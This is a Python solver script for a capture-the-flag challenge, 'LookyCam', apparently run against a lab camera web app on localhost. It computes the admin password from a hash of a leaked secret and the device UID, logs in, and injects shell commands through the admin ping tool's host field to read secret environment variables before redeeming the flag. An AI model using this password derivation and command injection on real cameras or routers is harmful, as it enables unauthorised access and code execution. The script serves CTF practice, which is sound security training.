#!/usr/bin/env python3 import argparse import hashlib import http.cookiejar import os import re import sys from typing import Optional, Tuple from urllib import parse, request def sha1_hex(value: str) -> str: return hashlib.sha1(value.encode("utf-8")).hexdigest() def normalize_base(raw: str) -> str: if "://" not in raw: raw = "http://" + raw return raw.rstrip("/") def read_part_a(cli_value: Optional[str]) -> Optional[str]: if cli_value: return cli_value env_value = os.getenv("PWD_PART_A") if env_value: return env_value candidates = [ os.path.join(os.getcwd(), "web_camera_5.yml"), os.path.join(os.path.dirname(__file__), "web_camera_5.yml"), ] for path in candidates: if not os.path.exists(path): continue try: data = open(path, "r", encoding="utf-8", errors="ignore").read() except OSError: continue match = re.search(r"PWD_PART_A=([^\s]+)", data) if match: return match.group(1) return None def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]: resp = opener.open(base + "/login") uid = resp.headers.get("X-Device-Id") if uid: return uid.strip() body = resp.read().decode("utf-8", errors="ignore") match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body) return match.group(1) if match else None def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool: return any(cookie.name == name for cookie in cj) def login( opener: request.OpenerDirector, cj: http.cookiejar.CookieJar, base: str, uid: str, part_a: str, ) -> str: password = sha1_hex(f"{part_a}:{uid}")[:10] data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8") req = request.Request(base + "/login", data=data, method="POST") opener.open(req).read() if not has_cookie(cj, "sid"): raise RuntimeError("login failed: no session cookie") return password def find_flag(text: str) -> Optional[str]: match = re.search(r"caplag\{[^}]+\}[^\s<]*", text) return match.group(0) if match else None def exploit_ping( opener: request.OpenerDirector, base: str, ) -> Tuple[Optional[str], Optional[str], str]: payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C" data = parse.urlencode({"host": payload}).encode("utf-8") req = request.Request(base + "/admin/tools/ping", data=data, method="POST") text = opener.open(req).read().decode("utf-8", errors="ignore") rce_match = re.search(r"RCE:([^\s<]+)", text) partc_match = re.search(r"PARTC:([^\s<]+)", text) rce_flag = rce_match.group(1) if rce_match else find_flag(text) part_c = partc_match.group(1) if partc_match else None return rce_flag, part_c, text def redeem_flag( opener: request.OpenerDirector, base: str, part_a: str, part_c: str, uid: str, ) -> Tuple[str, Optional[str]]: key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16] data = parse.urlencode({"key": key}).encode("utf-8") req = request.Request(base + "/admin/redeem", data=data, method="POST") text = opener.open(req).read().decode("utf-8", errors="ignore") return key, find_flag(text) def main() -> int: parser = argparse.ArgumentParser(description="Solve LookyCam challenge.") parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL") parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value") args = parser.parse_args() base = normalize_base(args.url) part_a = read_part_a(args.part_a) if not part_a: print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr) return 2 cj = http.cookiejar.CookieJar() opener = request.build_opener(request.HTTPCookieProcessor(cj)) uid = get_uid(opener, base) if not uid: print("Failed to determine CAMERA_UID from /login", file=sys.stderr) return 2 try: password = login(opener, cj, base, uid, part_a) except RuntimeError as exc: print(str(exc), file=sys.stderr) return 2 rce_flag, part_c, _ = exploit_ping(opener, base) if not part_c: print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr) return 2 key, final_flag = redeem_flag(opener, base, part_a, part_c, uid) print(f"uid: {uid}") print(f"login_password: {password}") print(f"rce_flag: {rce_flag or 'not found'}") print(f"part_c: {part_c}") print(f"redeem_key: {key}") print(f"final_flag: {final_flag or 'not found'}") return 0 if __name__ == "__main__": raise SystemExit(main())